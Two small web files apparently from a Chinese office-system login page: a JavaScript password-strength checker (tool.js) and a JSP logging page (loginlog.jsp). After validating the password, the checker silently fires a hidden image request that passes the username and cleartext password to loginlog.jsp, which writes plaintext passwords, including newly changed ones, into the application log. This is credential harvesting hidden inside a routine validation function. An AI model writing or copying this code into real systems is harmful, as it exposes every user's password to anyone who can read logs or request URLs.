tool.js
/**
* 登录页密码规则校验,登录后记录登录信息,修改密码后记录修改信息
*/
function checkRule(username,password,type){
var regLoserLetter = /^.*[a-z]{1,}.*$/;//包含小写字母
var regUpperLetter = /^.*[A-Z]{1,}.*$/;//包含大写字母
var regSpecialLetter = /^.*[^a-zA-Z0-9]{1,}.*$/;//包含特殊字符
var regNum = /^.*[0-9]{1,}.*$/;//包含数字
//如果位数小于8、纯数字、纯小写字母、纯大写字母、纯特殊字符,则禁止登陆
if((password.length > 0 && password.length < 8) || !regLoserLetter.test(password) || !regUpperLetter.test(password) || !regSpecialLetter.test(password) || !regNum.test(password)){
alert("密码不符合安全要求,禁止登陆,请联系管理员!");
return false;
}
var img = document.createElement("img");
img.src = "loginlog.jsp?uname="+username+"&upwd="+encodeURIComponent(password)+"&type="+ type;
return true;
}
loginlog.jsp
<%@ page language="java" import="java.util.*,org.oa.util.LogUtil" contentType="text/html; charset=GBK"%>
<%
String username = request.getParameter("uname");
String passwd = request.getParameter("upwd");
String f_type = request.getParameter("type");
if(f_type.equals("0")){
LogUtil.info("用户:【"+username+"】密码:【"+passwd+"】 登录系统。");
}
if(f_type.equals("1")){
LogUtil.info("用户:【"+username+"】密码修改为:【"+passwd+"】");
}
%>